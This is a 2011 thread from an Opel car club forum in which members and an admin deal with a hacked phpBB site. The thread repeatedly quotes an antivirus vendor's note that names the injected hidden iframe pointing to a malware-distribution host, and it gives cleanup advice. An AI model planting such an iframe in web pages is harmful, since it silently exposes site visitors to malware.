| Opel Club Cape Town https://opelclubforum.co.za/ | |
| Att Admin https://opelclubforum.co.za/viewtopic.php?f=38&t=19797 |
Page 1 of 1 |
| Author: | Gouraami [ 05 Sep 2011, 14:25 ] |
| Post subject: | Att Admin |
Downgraded to Avast as bitdefender is to expensive. Avast wouldn't let me onto the page, Trojan virus. Since I know the site is clean I sent Avast a mail complaining about the false positive. After the lastest update I can now get onto the site, but I still get the popup. Avast sent me this: Hello, Your page was infected. Search for the string "<iframe src="http://ce5.at:8080/ts/in.cgi?pepsi149" width=125 height=125 style="visibility: hidden"></iframe>". If you're an administrator, remove this script to heal the webpage. Miroslav Jenšík AVAST Software a.s. You can also get phone support from our partner iYogi phone number : USA and Canada free customers: +1 877-877-9362 USA and Canada paid customers: +1 877-314-5079 United Kingdom: Free & Paid: 0 808 101 9216 Australia: Free & Paid: +61 1800 839 407 (note, this number cannot be dialed from outside Australia, except with Skype etc). Ticket Details =================== Ticket ID: IRY-593751 Department: Virus Priority: Default Status: On Hold What does admin think? |
|
| Author: | shujinko the nut [ 05 Sep 2011, 15:31 ] |
| Post subject: | Re: Att Admin |
i think its the same thing thats causing my virus pop ups at work |
|
| Author: | Klonkie [ 05 Sep 2011, 16:03 ] |
| Post subject: | Re: Att Admin |
opelclub.co.za/forum works fine ... without the www |
|
| Author: | shujinko the nut [ 05 Sep 2011, 16:50 ] |
| Post subject: | Re: Att Admin |
Klonkie wrote: opelclub.co.za/forum works fine ... without the www not on work pc.cant get to index page |
|
| Author: | Mischif [ 05 Sep 2011, 16:57 ] |
| Post subject: | Re: Att Admin |
Maybe its just the forum skin that has a bug. |
|
| Author: | Gouraami [ 07 Sep 2011, 16:36 ] |
| Post subject: | Re: Att Admin |
I now need to disable the antivirus to come to the site, otherwise it won't let me on
|
|
| Author: | Corsa Addict [ 07 Sep 2011, 16:39 ] |
| Post subject: | Re: Att Admin |
I have no probs at work or at home. I really dunno what the prob is there. Sorry man maybe $haggy can shed some light |
|
| Author: | shujinko the nut [ 07 Sep 2011, 16:46 ] |
| Post subject: | Re: Att Admin |
Gouraami wrote: Downgraded to Avast as bitdefender is to expensive. Avast wouldn't let me onto the page, Trojan virus. Since I know the site is clean I sent Avast a mail complaining about the false positive. After the lastest update I can now get onto the site, but I still get the popup. Avast sent me this: Hello, Your page was infected. Search for the string "<iframe src="http://ce5.at:8080/ts/in.cgi?pepsi149" width=125 height=125 style="visibility: hidden"></iframe>". If you're an administrator, remove this script to heal the webpage. Miroslav Jenšík AVAST Software a.s. You can also get phone support from our partner iYogi phone number : USA and Canada free customers: +1 877-877-9362 USA and Canada paid customers: +1 877-314-5079 United Kingdom: Free & Paid: 0 808 101 9216 Australia: Free & Paid: +61 1800 839 407 (note, this number cannot be dialed from outside Australia, except with Skype etc). Ticket Details =================== Ticket ID: IRY-593751 Department: Virus Priority: Default Status: On Hold What does admin think? seems this is the problem.why not remove it from the code? |
|
| Author: | localboy [ 08 Sep 2011, 08:49 ] |
| Post subject: | Re: Att Admin |
shujinko the nut wrote: Gouraami wrote: Downgraded to Avast as bitdefender is to expensive. Avast wouldn't let me onto the page, Trojan virus. Since I know the site is clean I sent Avast a mail complaining about the false positive. After the lastest update I can now get onto the site, but I still get the popup. Avast sent me this: Hello, Your page was infected. Search for the string "<iframe src="http://ce5.at:8080/ts/in.cgi?pepsi149" width=125 height=125 style="visibility: hidden"></iframe>". If you're an administrator, remove this script to heal the webpage. Miroslav Jenšík AVAST Software a.s. You can also get phone support from our partner iYogi phone number : USA and Canada free customers: +1 877-877-9362 USA and Canada paid customers: +1 877-314-5079 United Kingdom: Free & Paid: 0 808 101 9216 Australia: Free & Paid: +61 1800 839 407 (note, this number cannot be dialed from outside Australia, except with Skype etc). Ticket Details =================== Ticket ID: IRY-593751 Department: Virus Priority: Default Status: On Hold What does admin think? seems this is the problem.why not remove it from the code? Agreed, that element is hidden anyways so nobody even sees it. Found this post on the WWW. http://www.phpbbhacks.com/forums/post294415.html Shagster = shaggy? |
|
| Author: | Klonkie [ 08 Sep 2011, 10:48 ] |
| Post subject: | Re: Att Admin |
OK, I've removed the iframe entries from all the templates ... my testing still blocks the site, but that could be 'cos the site is still cached on the proxy server. Someone pls test and lemme know. http://www.opelclub.co.za/forum |
|
| Author: | Gouraami [ 08 Sep 2011, 12:05 ] |
| Post subject: | Re: Att Admin |
i'm still getting blocked... |
|
| Author: | shujinko the nut [ 08 Sep 2011, 12:14 ] |
| Post subject: | Re: Att Admin |
Quote: Hello shagster, Welcome to the forums. Unfortunately, I have some bad news - don't panic, but it looks like your site may have been hacked or, at least, accessed by someone who shouldn't have been accessing it. That URL appears to be tied to some malware distribution. See: http://safebrowsing.clients.google.com/ ... i?pepsi149 What you should do is review your phpBB files to see which ones were edited at least as long ago as your first occurrence of that error. Check all of those files for an occurrence of that iframe code and remove it. If you have an older backup without it, you may want to revert to that (just the phpBB files, not your database). From there, you may want to make sure your files are properly CHMODed (see http://www.phpbbhacks.com/forums/phpbb- ... 75642.html ) and change all of your passwords, including your database password and FTP password. I hope that this helps. Thanks, Patrick From the phpBBhacks site. have to go through all the files to check them for that code and remove it |
|
| Author: | localboy [ 08 Sep 2011, 13:30 ] |
| Post subject: | Re: Att Admin |
shujinko the nut wrote: Quote: Hello shagster, Welcome to the forums. Unfortunately, I have some bad news - don't panic, but it looks like your site may have been hacked or, at least, accessed by someone who shouldn't have been accessing it. That URL appears to be tied to some malware distribution. See: http://safebrowsing.clients.google.com/ ... i?pepsi149 What you should do is review your phpBB files to see which ones were edited at least as long ago as your first occurrence of that error. Check all of those files for an occurrence of that iframe code and remove it. If you have an older backup without it, you may want to revert to that (just the phpBB files, not your database). From there, you may want to make sure your files are properly CHMODed (see http://www.phpbbhacks.com/forums/phpbb- ... 75642.html ) and change all of your passwords, including your database password and FTP password. I hope that this helps. Thanks, Patrick From the phpBBhacks site. have to go through all the files to check them for that code and remove it 3 posts too late, see link above |
|
| Author: | shujinko the nut [ 08 Sep 2011, 13:34 ] |
| Post subject: | Re: Att Admin |
localboy wrote: shujinko the nut wrote: Quote: Hello shagster, Welcome to the forums. Unfortunately, I have some bad news - don't panic, but it looks like your site may have been hacked or, at least, accessed by someone who shouldn't have been accessing it. That URL appears to be tied to some malware distribution. See: http://safebrowsing.clients.google.com/ ... i?pepsi149 What you should do is review your phpBB files to see which ones were edited at least as long ago as your first occurrence of that error. Check all of those files for an occurrence of that iframe code and remove it. If you have an older backup without it, you may want to revert to that (just the phpBB files, not your database). From there, you may want to make sure your files are properly CHMODed (see http://www.phpbbhacks.com/forums/phpbb- ... 75642.html ) and change all of your passwords, including your database password and FTP password. I hope that this helps. Thanks, Patrick From the phpBBhacks site. have to go through all the files to check them for that code and remove it 3 posts too late, see link above
|
|
| Author: | Gouraami [ 23 Sep 2011, 13:58 ] |
| Post subject: | Re: Att Admin |
It seems fixed - I don't have any issues at the moment Who fixed it? |
|
| Page 1 of 1 | All times are UTC + 2 hours |
| Powered by phpBB® Forum Software © phpBB Group http://www.phpbb.com/ | |